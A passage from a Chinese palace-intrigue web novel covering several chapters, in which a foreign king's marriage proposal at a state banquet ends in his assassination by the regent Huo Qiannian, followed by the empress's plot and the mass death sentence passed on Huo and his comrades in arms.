她坐守在院门口的台阶上,端起那没能拿给云琛的果酿喝起来,一边抬头赏月,一边心里美滋滋的。
她真替云琛高兴,也替自己高兴。
替云琛的是,用老百姓的话来说,霍乾念是男人堆里的老大,云琛是女人堆里的老二,这等泼天富贵又无比踏实的日子,多么美好。
而霍乾念不论在外面多势焰熏天,如何一人之下万人之上地受举国叩拜,只要进了武丞相府这道门,走到云琛面前,他便立马卸下满身坚不可摧的利刺,自在又舒坦地只做云琛的“阿念”。
在云琛这里,他嬉笑怒骂,七情六欲全都有,这便是深爱云琛最好的证据,令人看着都欣慰踏实。
她替自己高兴嘛,则是无比荣幸能跟了云琛这样的好姑娘好主子。
当初白氏调教她,想将她送来幽州伺候云琛时,她还很忐忑,心说那没见过面的云家大小姐,小小年纪就盗母亲灵体,大闹灵堂离家出走,肯定是个不好相处的烈火性子。
谁知来了京都一见,怎么是个那么率性赤诚的纯真妙人呀!
对府上这些侍女仆从还有护卫,那真是可劲儿发赏钱,做新衣,护犊子似的宠。
就像揍西炎皇子那事,按普通主子的脾性,只怕会顺水推舟,将兰倩送给那西炎皇子做人情。
反正又不是自小陪伴长大的重要侍女,情分那么浅。
可云琛却直接用实际行动证明了对兰倩的呵护和重视。
想到这,兰倩忍不住叹口气,满足开心之余,心里又觉得遗憾。
若是能自小就陪着云琛长大,培养出深厚的情谊就好了。
与云琛这样的人相伴,一定幸福极了。
不过没关系,来日方长,还有几十年的好日子在后面等着呢。
想着这些,兰倩仰头喝完杯中果酿,目光自然抬起,却登时一愣——
那方才还皎白的月亮,怎么不过瞬息功夫,突然蒙上了一层铜红。
兰倩突然想起民间好像有句童谣,是怎么唱的来着?
她一时想不起来,耳听院子里,霍乾念与云琛缠绵片刻过后,好像开始谈论什么“西炎王要来楠国会盟了”。
她听不懂那些枯燥又莫测的朝政,忽而记起那童谣:
“血月亮,挂天上,万鬼笑,人间亡”。
兰倩喃喃唱了两遍,没由来周身恶寒,打了个激灵,不敢再唱。
第445章 挑衅摄政王
冬雪将至,西炎王携三千随行浩浩荡荡进入楠国,如期抵达皇宫,与南璃君进行君主会盟,并要按两年前的约定,接质子韩表回西炎。
永安殿置办下奢华夜宴。
这等国君与国君之间的会晤,属于一等重要政事,万不能出任何乱子。
为此,苏正阳提前结束了婚休,领两万禁军在场内场外巡逻守卫。
文武百官悉数出席。
南璃君也装扮得极其正式,少见地露出君王威严体面,稳坐龙椅,与尊位上的西炎王交谈饮酒。
在她身侧,一边是风流倜傥穿着自在公子服的颜十九,另一边是面无表情的大女官知罗。
霍乾念与云琛、云望坐在仅次于西炎王的对面尊位。
霍乾念与西炎王聊得欢畅,时常叫南璃君插不上嘴。
不过南璃君今日并不介意,她嘴角一直噙着若有若无的得意笑容。
云琛则应付不来这种场合,除了一直摆出云望教给她的“假笑”,再有就是时不时拿眼神刀一下对面的质子韩表,吓得对方动不动抖一下,使劲往西炎王身后躲,连正眼都不敢抬。
云望则旁观着所有人心怀鬼胎、满腹算计,却还一个个装得光鲜体面的样子,宛若一群弓着腰、暗藏毒箭的阴险豺狼。
唯坐在他身旁的云琛,像置身漩涡泥沼的清莲,仍旧笔挺直立,热烈地纯白着。
这时,南璃君和西炎王的话题不知怎得聊到了重武练兵上,西炎王说了句话,吸引了云望和全场所有人的注意。
西炎王冲“假笑女孩”云琛道:
“早听闻武丞相武功盖世,是世间罕见的武学高手,耍得一手绝妙剑舞,不知今日可有荣幸,能一观武丞相剑舞呀?”
云琛刚想回一句“没带剑”,余光瞟到云望,想起他交代过的,说话前脑子多转两个弯,心说那还是说“王上恕罪,末将未曾佩剑进宫,还是看歌舞更赏心悦目些”。
结果她还没开口,一旁刚刚还与西炎王相聊甚欢的霍乾念,突然垮了脸色,冷冷道:
“观不了。云琛乃我朝武丞相,一等公,虎威骠骑大将军,不是供人娱乐的舞姬。”
这话十分不客气,令场面冷却许多。
文武百官也停下交谈,暗暗打量过来。
西炎王看起来却并不在意,眼神扫了下身边瑟缩的韩表,颇有些不耐烦地皱了皱眉,显然也十分不待见这个儿子,否则也不会送来当质子。
可打狗还得看主人,云琛当街暴揍韩表事小,羞辱西炎国皇子事大,西炎王怎么也得将这面子找回来,便不依不饶,继续道:
“一般舞姬哪比得上武丞相呢!论身段,样貌,还是武丞相更胜一筹。对了,听说武丞相的‘黑龙十八手’特别厉害。”
西炎王停顿了一下,示意身边的韩表走去宴席中央,继续道:
“表儿,你去受武丞相指点两招,学学那‘黑龙十八手’,去!”
最后一个字,威严而不容置喙。
韩表畏畏缩缩走上前,全无一点皇子风范,全身上下连头发丝都写着对云琛的畏惧。
云琛坐在位子上没有动,咂摸出两分滋味:
这是要她上场,挨韩表一顿揍,让西炎把面子找回来的意思呗?
好说好说,只要南璃君和霍乾念点头,她挨一顿也无妨;若不同意,不肯她作为楠国武将的代表受辱,那她就坐着不动。
云琛看向南璃君,后者一脸虚情假意的为难,侧身去征求霍乾念的意见:
“爱卿,这事你看......”
霍乾念面不改色,仍旧只有一句话:
“指点不了。”
云琛一听,点点头,开始认真干饭。
全场气氛又冷又尬,只将那韩表晾在场中央,哀求地看向西炎王。
西炎王脸色明显已经很不好了,但还是保持着君王风范,挥手示意韩表回来,然后自顾说了一番圆场的话,对南璃君道:
“皇上,当年因为那什么黑鳞骑兵的事,唉,差点让两国生嫌隙,如今楠国平定天下,再无战事,两国误会也算彻底解除。不如结为姻亲,才更显亲密。如何?”
南璃君嘴角的得意快要压抑不住,笑道:
“甚好。”
西炎王随即冲霍乾念、云琛和云望所在的方向道:
“既如此,孤王便纳云丞相为妃吧!”
此时,云琛正低头吃一根怎么都吃不到头的水晶粉条,听到西炎王说话,却无人应声,她咬断粉条,拿胳膊肘捣捣身边的云望,提醒道:
“喂,说你呢,云丞相。没想到那西炎王是断袖,看上你了。”
说完,见全场文武百官都用看傻子的眼神看着自己,云琛终于反应过来,惊愣住:
草,怎么就忘了她自己也姓“云”!那“云丞相”是在说她??
她皱眉看向西炎王,不知这厮什么毛病,这种国事场合,说些不疼不痒的场面话得了,怎么还把联姻这种事拿上台面说?
而且娶她?疯了吧?让她给韩表当后妈,天天揍韩表?
天下皆知她马上就要嫁给霍乾念了,这西炎王几个意思?西炎国没通情报网吗?
她觉得这西炎王脑子有问题,正要开口,南璃君却先她一步,又是一脸为难:
“这......云琛寡居多年,不合适吧?但西炎王若觉得好,朕也不多说什么。”
嗯???
这话一出,在场所有人都愣了。
不替云琛说话拒绝就算了,还说云琛是寡妇?什么意思?
众人面面相觑,有人忽然想起云琛当年曾在北境被许配给洛疆王熊顿的事,结果头曼王爷叛变,直接在婚礼当天杀了洛疆王熊顿,云琛也回来了。
这就算云琛嫁过人?现在是寡妇?这有点......太侮辱人了吧?
而且听南璃君那意思,竟然是要答应??
众人心里如是想,齐齐去看霍乾念,果然,那凤眸已犀利如寒刀,神情又黑又冷,阴沉到了极点。
敢当着霍乾念的面羞辱云琛,众人都觉得,这西炎王怕不是有什么大病。
当一国君主当得不痛快,想当阿飘??
这时,那西炎王假笑一声,竟得寸进尺又冒出一句足以称为侮辱的话:
“没事,孀妇好啊,孀妇才更懂伺候。”
说完,他靠向椅背,借着喝酒,不动声色地瞟了霍乾念一样,霎时惊出一身冷汗。
他突然有点怀疑来之前颜十九对他的嘱咐,说叫他求娶云琛,以阻挠霍乾念和云琛的强强联合,助南璃君压制霍乾念。
颜十九说,尽管放心提联姻,中间会有些阻挠,但最终,南璃君一定会答应,这事儿一定能成。
西炎王听说过霍乾念狠厉的为人和事迹,一时有些犹豫。
但一来,西炎王与颜十九合作多年,二十万最强悍的黑鳞骑兵都借他了,帮他攻打了东炎谋权篡位,还等他夺取楠国江山后,将东炎送给西炎呢,怎好不答应颜十九?
二来,云琛是出了名的英姿飒爽美人儿,西炎王倒也愿意尝尝女将军是什么滋味。
所以他最终还是答应了,借口接质子韩表回西炎,千里迢迢跑来这一趟。
只是那霍乾念气势凌厉逼人,一提“云琛”,那眼神就跟要吃人似的。
坐在霍乾念对面,西炎王莫名感到压迫,有种自己才是臣子的错觉。
他忍不住有点怀疑颜十九事先的嘱托,这联姻到底能不能成?他直觉不想惹到霍乾念这种人。
好在,求娶的话已经提出来,任务完成。接下来就看南璃君和颜十九怎么收场,与他西炎王没关系了。
心里这样想着,西炎王浑身放松不少,举起酒杯,想润润快说冒烟的嗓子,却用余光瞟见一道身影拔地飞来。
烛火耀眼下,一抹寒刃急速逼近。
西炎王还没放下酒杯呢,冰冷的刀锋就已狠狠划开他的喉咙。
那未咽下的酒水从破裂的喉管漏出来,鲜血喷溅了旁边的韩表一脸。
第446章 通通拿下
全场陷入死寂。
霍乾念还保持着刺出匕首的动作。
西炎王举着酒杯一动不动,愣愣地张大嘴,也张着喉间骇人的血口,转动僵硬的眼珠,还没来得及看向颜十九,就缓缓倒在了面前的酒榻上,砸得碗碟“喀拉”大响。
韩表震惊地看着西炎王的尸体,眼中快速划过一抹惊喜,接着发疯似的哭号起来:
“父皇!!父皇——”
这一声打破寂静,也终于令全场所有人的惊魂收回体内。
西炎王的随从亲兵毫无防备,人都吓傻了,骇然失色纷纷炸起。
苏正阳与禁军们则吓得头皮发麻,完全不能思考,只能下意识与西炎的人厮杀在一起,将其压制。
整个场面顿时乱作一团。
文武百官目瞪口呆,就连南璃君和颜十九都惊呆了。
只有云望面色平静,毫无意外。
他眉头不忍地看向惊愣在原地的云琛,缓缓起身上前,抬袖遮住了她的眼睛。
云琛愣愣看向云望,眼中满是错愕、不解,以及逐渐清晰的担忧和惊惧。
“阿念......在干什么?”
为什么众目睽睽之下,犯下这滔天死罪??
云望回答不了,也不敢,不能回答。
他只能牢牢遮着袖子不叫云琛看见——
看见霍乾念那不紧不慢收起匕首的样子,淡定地在袖子上抹刀刃上的血,好像生怕别人看不清是他杀了西炎王。
看见南璃君和颜十九对视一眼,随即狂喜大于惊骇,大喊“将霍乾念拿下!”
云琛呆呆坐着,看不见那些画面,只听到耳边千百种声音嘈杂齐发,吵得人头皮发麻。
直到一大群禁军冲上去将霍乾念团团围住,亮出白刃,那新上任的吴言官跑到南璃君身边,得对方眼神示意后,直接站起来高呼“摄政王要造反!拿下他!”
云琛才陡然惊醒,直接拍案暴起,狠狠踹倒最近的几个禁军,随手抢过一人佩刀,横刀护卫在霍乾念身前。
见云琛发作,一旁的荣易、罗东东、段捷与伏霖,想都没想,也立刻夺刀而来,将霍乾念和云琛团团围护,与所有禁军拔刀对峙。
这一幕气得南璃君瞪大了眼睛,怒吼:
“云琛?段捷?你们都要造反吗?口口声声忠君爱国!现在却要和霍乾念一起反吗?!好好好!那就通通给朕拿下!!!”
既得到皇帝命令,禁军们蜂拥而上。
云琛牢牢护卫霍乾念,只抵挡,不进攻。荣易等人亦是如此。
可加上霍乾念在内,也只是寥寥六个人,怎敌整整两万禁军!
很快,六人被潮水般的禁军淹没,纷纷挂彩,却自始至终只防守,不进攻。
即使禁军的刀刃都砍到眉毛跟前了,他们也只是用刀背将对方打倒。
因为云琛只是想护住霍乾念而已,从没想过要将杀敌的战刀对准禁军和皇帝,去屠杀自己的同胞。
可这样一来,就意味着杀个没完没了,不砍死些禁军去开出一条生路,就只能等着力气全部耗尽。
到那时,是被擒拿,还是被不长眼的刀剑误杀,就都看天意了。
苏正阳看出云琛守而不攻的态度,心忧如焚。
但忌惮南璃君和满朝文武在场,他根本不敢开口阻拦,只能暗中吩咐自己最信任的一帮兄弟禁军,努力冲在最前面,挤去云琛身边,替她抵挡些攻击。
一旁,南璃君也看出了云琛等人不还手的意图,突然灵光一闪,觉得眼下正是千载难逢的大好机会!
如果能趁这个时候直接杀了霍乾念和云琛,那还用处心积虑地搞什么计划和盘算!从此以后都没人可以威胁到她的皇位了!
她瞬间将先前与颜十九的盘算抛之脑后,激动地站起身,准备发出“直接给朕杀了他们”的命令。
一旁颜十九看得分明,暗自恼怒,他怎可能允许任何人伤云琛性命!南璃君这个坏事的蠢货!
想到这里,颜十九眼神快速四扫,得想法子逼云琛立刻停手才行!
他目光落定在不远处的云望身上,一把拉住忧心观战的苏正阳,低语了一句。
苏正阳虽惊讶,有些迟疑,可望了眼云琛挂彩越来越多,身上官服已破损渗血,很快就要坚持不住的样子,他还是按照颜十九的意思,飞快地跑到云望身边。
在南璃君即将发出杀令之前,苏正阳小声说句“得罪了!”将刀架到了云望脖子上。
云望一动不动,神态平静。
苏正阳则用尽毕生全力、声嘶力竭地大吼了一声:
“云琛!!!”
这一声震耳欲聋,竟真的盖过全场打打杀杀的嘈杂声,吸引的云琛看过来。
只看去一眼,云琛就滞住了手中动作。
云琛一停手,其他荣易几人也都慢慢停下,气喘吁吁地放下了刀。
禁军之中,苏正阳的心腹们立刻带头收起兵器,其他禁军本来就很茫然慌乱,搞不清眼前什么状况,也先后纷纷收刀。
所有人的情绪都在慢慢归向平静,只有高座上的南璃君还沉浸在将要下杀令的异常兴奋中。
眼见场面突然平息,南璃君恨恨地将到嘴边的话收起来,为错失除掉霍乾念这样的大好机会后悔。
她的理智回到与颜十九的计划上,重新摆出一副痛心疾首、被臣子背叛的悲愤交加的君主模样,龙袖一挥,怒道:
“无论是谁!胆敢再反抗一下,朕就杀了云望——来人,将霍乾念、云琛等反贼拿下,押入内殿审问!”
第447章 死亦瞑目
烛影摇摇红如血,将夜宴倾倒的酒榻、绷断的长琴、惊破的残鼓......一切都照得幽黑错乱。
乍看去,好像横七竖八躺了一地的尸体。
永安殿外,禁军们沉闷的脚步声来来回回,如雷碾过夜色。
月色更将全副武装的身影照得高大冷冽,投射在窗棂上,如一群沉默森严的阴兵。
永安殿内,文武百官低声议论,难掩脸上的震惊和忧重。
他们根本接受不了刚才发生的一幕幕,西炎王求娶云琛,南璃君竟想答应?
更惹得霍乾念当场杀人,将他国君主送上西天??
紧接着,前一刻还受万民敬仰、百官尊敬的云琛等数名功将,竟通通造反,将那用来杀敌的战刀,对准了禁军和皇帝。
此等巨变,古今闻所未闻。
除了以死谢罪,平天下惊、西炎愤,众人想不出任何替霍乾念自圆其说和脱困的法子。
今夜,看来注定要催生许多恨别离了。
与此同时,与文武百官忧心忡忡截然不同的,是偏殿里正匆忙更衣的南璃君。
她正陷入一种极度的兴奋,绝美的脸庞因为激动甚至有些扭曲。
“太好了!原本还想费尽心思编造理由弹劾霍乾念呢!现在可好!霍乾念已经狂妄到疯狂了!竟当众杀了西炎王!自掘坟墓!那接下来就照计划继续进行!怎么样?”
南璃君说完,旁边的颜十九没有作声。
他站在烛火照不到的阴影里,背倚宫墙柱,悠闲翘着腿,看似轻松愉悦,心里却如海浪翻天,快速思量:
不对,他原本的计划不是这样。
西炎王本来就是要死的,这个合作多年的老家伙,已经被榨干了所有利用价值。
为了不兑现将东炎拱手送出的许诺,西炎王必须要死!
叫西炎王挑衅霍乾念,是料定以霍乾念的性子,必然要与西炎王呛火,令场面难看到难以收拾。
到时,等霍乾念为护云琛而对友国君王大不敬之事传遍天下,颜十九再叫人神不知鬼不觉地杀了西炎王,将罪名推到霍乾念身上。
想到这里,颜十九看了眼阴影更深处的那道人影——
韩表。
和宴席上战战兢兢的窝囊样子不同,此刻的韩表,不再瘦龟背、油腻放浪。
他身形笔挺,面色阴沉带笑,通身城府之气,心满意足地朝颜十九拱手表示“多谢”,然后悄悄退去。
这个在西炎最不受待见的皇子,马上就要回去在焦左泰和黑鳞骑兵的扶持下,趁乱争夺西炎新王了。
他被送来楠国当质子,用两年时间,成功立下了浪荡纨绔、下流愚蠢的人设,令所有人放下戒心。
可和西炎王合作这许多年,颜十九早就从韩表身上闻到了和他自己一样的味道。
一种表面人畜无害,实则冷如毒蛇,蜷曲在阴暗的角落,做些最见不得光,却最厉害的盘算。
所以,颜十九决定踹掉西炎王,扶韩表上位。
毕竟,西炎王给了他二十万黑鳞骑兵,代价是要整个东炎。
而韩表的胃口就小多了,他只要在西炎杀光他的兄弟,当新王就好。
这事儿颜十九熟。
这买卖显然也更划算。
所以,按颜十九本来的计划,西炎王求得云琛之后,回西炎途中,就由韩表神不知鬼不觉地杀掉西炎王。
如此,云琛可以逃婚,韩表可以上位,暗杀的罪名可以推给霍乾念。
多么漂亮的一石三鸟!
所谓欲加之罪何患无辞,有了“杀西炎王”这盆脏水在,就可以名正言顺地开始对霍乾念的调查、弹劾、削权压制之路。
待世人皆知霍乾念狂妄而对其心生不满,待京城贵族阶级利益被新政触动而心生怨怼,满朝官员迫于政务压力而反抗。
那便是将霍乾念削去权势、彻底打入绝境的最佳时机!
只是颜十九做梦都没想到,那原本要推给霍乾念的虚假罪名,眼下竟由霍乾念主动坐实成真了。
这令颜十九的计划大大提前,甚至有些猝不及防。
南璃君那蠢女人,为这样天大的好事冲昏了头,可他颜十九不会。
他感觉不太对劲。
霍乾念功盛回归之后确实狂,却不应狂到这地步,难道真是因为爱云琛心切?为南璃君又要云琛和亲愤怒?
而且眼下,民间对霍乾念拥戴正浓,文武百官和京城贵族们也正是敬服之时,此时弹劾霍乾念,并不什么好时机。
可到嘴的肥肉,谁能忍住不咬?
眼下西炎王已死,霍乾念等人全被扣押进天牢,不继续推动他颜十九的大业,难道放过?
颜十九想高兴,但高兴不起来。
他浑身上下从里到外,都有种隐隐刺挠的难受感。
感觉就好像......
就好像霍乾念早已洞悉了他的一切阴谋,上赶着来成全他。
像两个人比武,霍乾念处处递招、故意露致命破绽给他。
考虑片刻,颜十九觉得还是慢慢来,一步一步稳妥最宜,叮嘱南璃君:
“形势越好,越要稳住,切忌掉入陷阱,霍乾念不是一般人,不会那么轻易落马,千万要小心应对,步步为营最稳当。”
南璃君不屑地“哼”了一声,显然听不进去这话,摇头晃脑得意道:
“不用想那么多!霍乾念现在人已经在我手里,朕让他生,他便生,朕让他死,他就得死。其实费那些盘算干什么,我现在就杀了他,岂不一劳永逸?”
颜十九脸色愈发难看,心里骂了句脏话。
民间有句话怎么说的来着,不怕神一样的对手,就怕蠢猪一样的队友!
要是杀了霍乾念就行,那他颜十九何必苦心孤诣这么多年筹谋?
直接杀了她南璃君,不管那天下悠悠之口和诸方势力,就能将屁股坐上楠国皇位,一统天下了?
真是废物!
颜十九心里本就有点乱,瞧南璃君那好大喜功、烂泥扶不上墙的样子,更觉烦躁,但还是忍下所有火头,耐着性子道:
“好阿璃,听话。一会儿当着文武百官的面,一定要先问清霍乾念为什么杀西炎王,这个理由我必须要知道。”
他不信只是为了云琛。
他觉得,在某些方面,他与霍乾念都是一样的人。
什么“冲冠一怒为红颜”,不过是男人们争夺权力的借口。
毕竟从古至今,将罪名推给女人,永远是最容易的。
南璃君翻了下眼睛,想说“问什么问,还不是为了云琛呗!”但见颜十九一脸严肃,只得按捺住兴奋,点头答应。
……
……
半个时辰后,永安内殿,文武百官肃穆而立,上百禁军从旁守卫。
南璃君一身龙袍走出来,颜十九没有随行,只在阴影角落藏起,确保可以听见殿内所有人说话。
“反贼之首”的霍乾念被十几个禁军押进殿。
他手脚皆被沉重镣铐锁住,可仍旧难掩气势逼人,神色泰然地站定大殿中央。
看着霍乾念嚣张不减的狂妄样子,南璃君暗暗冷笑一声,示意那新上任的吴言官去问话,她自己则拿出手帕开始假哭,一副被霍乾念辜负了的痛心模样。
吴言官随即上前,刚要开口,霍乾念却先一步发声,主动自白道:
“皇上恕罪。臣今日杀西炎王,实乃迫不得已。两年前臣就说过,黑鳞骑兵来自西炎,您不信,没关系,我们到底苦战四年,赢了胜仗。但黑鳞骑兵只是暂时消失,并没有被彻底歼灭,还有近五万人马,不可小觑。
臣有理由相信,焦左泰已率剩下所有黑鳞骑兵藏匿西炎地界,一旦皇上抛弃云琛这大将,嫁给西炎王,黑鳞骑兵必卷土重来。
到时,虎威军失了主将士气萎靡,敌军又有云琛为人质在手,臣投鼠忌器,必败无疑!臣不想自己陷入那两难境地,更怕皇上与楠国再度濒临危亡,万般不得已,才如此动手。”
这番话说完,百官哗然,议论纷纷“原来如此”。
大多数人都相信霍乾念这天衣无缝的说辞,心里直接赞同了霍乾念今日看似“莽撞”的做法。
阴影角落里,颜十九则终于松了口气。
原来霍乾念是为这理由杀西炎王?那就很有说服力了。
心中所有“不对劲”的感觉都消失了,颜十九甚至对霍乾念生出十分敬意。
他前脚才叫焦左泰领黑鳞骑兵去西炎待命,后脚霍乾念就查到了,只不过后续推测有偏差,才叫他误判局势,杀了西炎王。
可即使误判,这份杀伐果断也实非常人可比。
再看霍乾念那风云不惊的样子,颜十九更舍不得他死了。
这样厉害的人物,他一定要将其收服,来日随他一起四方征战,一统天下。
只可惜,南璃君看不清这些,她哭哭啼啼地抹着眼泪,质问霍乾念:
“你说这些有什么证据,朕不信!”
吴言官见状,立即高呼“皇上圣明!”接着怒斥霍乾念:
“你私携匕首进宫,不是造反是什么?方才那些不过是狡辩之言!本官今日就好好算算总账,叫你死得瞑目!”
第448章 活下去
霍乾念说的字字真切,可南璃君压根不信,派人连夜搜了霍府,竟搜出不少霍帮造反的证据。
这证据是真还是假,好像已经不重要了。
在吴言官激烈的进言和所谓“总账清算”下,南璃君原本一脸为难,最终一副“不得不”的样子,点头同意了对霍乾念等人的论罪结果:
一论霍乾念谋逆之罪,大不敬之罪;
二论欺君罔上,窥伺禁中,图谋不轨,把持朝政阻塞言路;
三论居功狂傲,藐视天威……
一干死罪二十九条,细状一百七十六条。
大到凯旋盛典时,在宫门口令南璃君前去迎接,实属冒犯天威;纵容云琛当街殴打西炎皇子而不许言官弹劾;
小到霍乾念哪月哪日说了什么大不敬的话,通通新账旧账齐算,明明白白写在了圣旨上。
就连当年霍乾念和云琛分手之后,往来书信时霍乾念自掏腰包修建的思云生财道,都被拿出来说“以特权扰乱民生”。
云琛铲平黑市之事也被看作在霍乾念包庇下的猖狂僭越。
更不要说这几个月来,霍帮上下开凿运河、筹备“霍云”大婚的事情了。
哪怕所有人都知道,运河途径之处的百姓民居,霍乾念早已按市价十倍的价格收购拆迁,可罪名里还是有一条叫“扰民生息”。
一条条罪状名目繁多,比当年处死倪鲲时的论罪还要多。
文武百官伫立永安大殿内,听着这些,小部分人表示理解,毕竟回京以来,霍乾念确实太狂妄了。
大部分人则认为,拯救了整个国家的功臣,狂一狂也无妨,只是那论罪证据的时间跨度极大,竟是在霍乾念和云琛还征战沙场时,就已开始暗中搜罗了,实在让人错愕、沉重、寒心……
这一夜乱局,令所有人惊忧之下满是疲乏,无人有力气站出来为霍乾念辩驳,又全都人精似的看得分明:
眼前情景,不正与当年强杀倪鲲时一模一样吗?
无罪也是有罪。就这么简单。
谁敢站出来说句公道话,谁就是下一个霍乾念。
百官垂首缄默,吴言官激昂的论罪声回荡在整个大殿。
最后,吴言官的嗓子都念冒烟了,哑着声音用力念出最后的处刑结果:
“按楠国律例,判处祸首霍乾念死罪,凌迟之刑。判处其党羽云琛、云望、段捷、伏霖、荣易、罗东东等死罪,车裂之刑。一干牵连者,皆处以极刑。以上罪臣皆株连三族,三日后行刑!”
话音落下,霍乾念虽面色苍白,却仍旧站得笔挺,没有跪接罪名,亦没有委屈求饶。文武百官也无人叩拜“吾皇圣明”。
见此,南璃君有些不爽,一个眼神示意,吴言官立刻命苏正阳将云琛等人也押上大殿。
南璃君想亲眼看一看其他人的表情,知道自己将被酷刑处死,整个家族都要受到牵连时,会不会扑跪在她脚下痛哭流涕呢?
可惜,南璃君还是失算了。
云琛等人被押上大殿,沉重的脚铐一下一下锤击着地面,稳重有力,不慌不忙。
云琛慢慢走来,还穿着那身残破有伤的武丞相官服,走去与霍乾念并肩站立。
彼此对望间,霍乾念的歉疚和酸楚,云琛眼眶潮湿间的信任……千言万语都汇聚在眼中,什么都不必多说。
他费力地抬手,为她轻拭脸颊上打斗时沾到的灰尘,她亦紧紧握住他的手回应。
两人动作间,带动手腕上的铁锁哗哗作响,听着格外凄凉。
云琛原本不懂,为什么会有今天这局面,可押她来的路上,苏正阳沉声说了一句:
大概功高震主者,自古难全吧。
她一下什么都懂了,明白了君主的忌惮与霍乾念的反抗,也预感到自己将要面对的结局。
她不怕,只要能与她的阿念死在一起,她什么都不怕。
再看云琛身后的云望,虽是手无缚鸡之力的书生,却气度平静淡然,令人感叹,不愧是幽州马王之子。
其他段捷、伏霖、荣易和罗东东,也都一个个腰杆笔挺,微微昂首,听完吴言官重复的罪状和处刑结果,连眉头都没有皱一下。
荣易甚至还有点不耐烦,让对方念快一点,别耽误他下去找他哥荣江喝酒。
全是血海尸山里爬出来的汉子,浴血奋战守了国门一次又一次的铮铮铁骨,无一人面生胆怯。
在文武百官看来,实实敬佩又心疼,忍不住偷偷想掉眼泪。
可在南璃君看来,却是个个都和霍乾念一样猖狂,都是些藐视皇帝的狂徒!
南璃君装哭装了半日,脸都僵了,但还是压住内心不快,继续假哭道:
“你们可都是我楠国的大功臣啊……朕的肱骨之臣啊……为什么要这样背叛朕……吴言官,他们只是为人蒙蔽,一时走错了路,就不能再给他们一点机会吗?这样吧,谁愿意站出来检举揭发霍乾念的罪状,朕就为他减刑一级,可好?”
吴言官立即拂袖跪拜,大呼“皇上仁慈”,对南璃君发出一番圣明夸奖。
其他文武百官看着,只感觉跟吃了苍蝇一样难受。
姓吴的不是什么好东西,奸佞鼠辈。南璃君则演技太拙劣了。
明明已打定主意将云琛等人一并处死,却还要上演一出宽容戏码,企图让霍乾念临死之前还要体会一把“众叛亲离”的滋味。
南璃君想见到这些虎豹悍将对她而不是霍乾念俯首臣称。
只可惜,没有一个人搭理她。
大殿内安静得令人尴尬,南璃君感到索然无味,面色难看地挥了挥手,结束了这场戏。
……
……
这乱局惊心动魄,诡谲难辨,但其实发生得极快。
从西炎王被杀,到文武百官散场,一切不过三个时辰,天都还没有亮起。
霍乾念和云琛等七人被重新押回天牢,一人一间牢房,相隔三丈厚墙之远,用最结实厚重的铁门关严。
每个牢房门口都有四个禁军把守,架势严密到神仙插翅也难逃。
苏正阳看着霍乾念淡定走进牢房,盘腿而坐,开始闭目养神。
其他几人也都面不改色地各自进入,铺草榻的铺草榻,睡大觉的睡大觉。
云琛甚至“二进宫”,熟门熟路地翻出被子,一进去就喊他:
“喂,苏正阳,弄点吃的来呗,好饿。”
苏正阳被几人完全不把“死到临头”当回事的样子惊到了,无奈之下更多是佩服。
虽然如今事情已经快大上天了,许许多多的眼睛都盯着这里,但苏正阳还是命人准备了七桌吃食和伤药来,挨个搬到云琛几人牢房门口。
注意到桌子上还有酒,苏正阳赶紧命人撤走,他可不想这几位大爷喝多了闹事。
凭这几人的武功战力,要真喝高了发起疯来,就算被关着,也铁定闹得不可开交,让他吃不了兜着走。
看出苏正阳在担心什么,荣易一边给几处浅伤口上药包扎,一边笑道:
“苏统领别担心,我们乖着呢,不会给你找麻烦的。”
罗东东也躺在薄薄的草榻上,屁股挪了挪,调整了个舒服的姿势,道:“就是,俺们可是良人。”
“你不是‘良人’。”伏霖开口,语气揶揄:“你算不了‘两’,最多算个‘一’。”
“哈哈哈哈——”几人大笑起来。
云琛更是差点把嘴里米饭喷出来,笑骂:
“你们做个人吧!小心罗东东去阎王爷跟前告状,拔你们舌头!”
瞧着几人吃喝说笑没心没肺的样子,苏正阳心里说不出来的难受。
他知道众人几乎都没把南璃君当成过心中的君主,所以一点不为被冤枉而悲伤,对他们来说,能为了兄弟战友去死,死在一起,乃是人生幸事。
可苏正阳还是忍不住叹口气:
“唉,你们就真一点都不害怕吗?”
“怕啥?”段捷两手叠在脑后,躺在榻上晃悠二郎腿,“这里没黑鳞骑兵,四面有墙,有吃有喝,还有你们守着,比战场强多了。”
“那你们不想法子活下去吗?想办法为自己辩白啊!”苏正阳又说。
“怎么想?”云琛嚼着嘴里米饭,“阿念确实杀了西炎王,我们也确实和禁军动手了,倒也不冤枉。”
提到云琛拍案暴起那一幕,荣易几人都来了兴趣,热烈讨论起来:
“草,老大你那一下太帅了!速度跟闪电一样!”
“俺啥都没看清呢,老大就窜没影了,那轻功和脚力,永远这么帅!”
“你嗓门小点,别吵云将军吃饭,也别吵我睡觉,我要眯一会儿!”
“都特娘这时候了,还睡个屁啊!”
“生前何必久睡,死后自会长眠呐!”
“哈哈哈哈——”
几人叽叽喳喳聊得高兴,苏正阳心叹真是皇帝不急太监急,还有三天就要行刑了,这几位大爷不赶紧想法子活下去,还在这贫。
忍无可忍,苏正阳皱着眉头,大喊了一句:
“你们不怕死!但你们的家人呢?!株连三族啊!父、兄、母、子、妻!还有叔伯姨母!祖父母!他们怎么办?!”
这话一出,整个牢房瞬间安静了。
再不怕死的英雄好汉,也永远有最不可触及的软肋:
家人。
自己死也就罢了,还要连累家人,光想想都心如刀绞。
几人何尝不痛心,只是刻意不去想罢了。
苏正阳见这话有用,决定继续添把火,冲段捷问“你妻儿怎么办?”冲荣易问“你那么多妻妾怎么活?”最后看了云琛和一直不参与话题、保持沉默的云望一眼:
“云家一家老小,上下几十口!他们做错了什么要被这样牵连?对得起云中君老将军在天之灵吗?!”
苏正阳说完,依旧无人说话。
段捷裹紧又脏又臭的薄被,一副要闷头睡觉的样子。
荣易骂了句“真他妈扫兴”,也翻过身。
罗东东抹了把眼泪,想说“俺爹一辈子没进过京都城,一辈子都在种地,学堂也没上过,他哪知道啥是三族啊?”最终还是没说话。
云琛缓缓放下手里的饭碗和筷子,红着眼眶,隔着那厚重的墙壁,幽深的走廊,望向霍乾念所在的方向。
“一荣俱荣,一损俱损,我们的命是捆在一起的。”她说。
苏正阳急道:“是这个道理!所以当务之急是想法子活下去!你们能活,你们的家人就都能活!”
苏正阳还想继续劝,这时,却有一个宫人急急跑来,打断道:
“苏统领,皇上有令,押云琛前去审问!”
第449章 誓言
遥想十天前,云琛还说要绝交呢,这辈子再也别见面。
十天后,她却只能戴着手脚镣铐,从天牢走出来,乖乖被苏正阳用铁索牵着,往永安大殿而去。
苏正阳轻轻拽了下铁索另一头,云琛身子随之微微趔趄,白了他一眼。
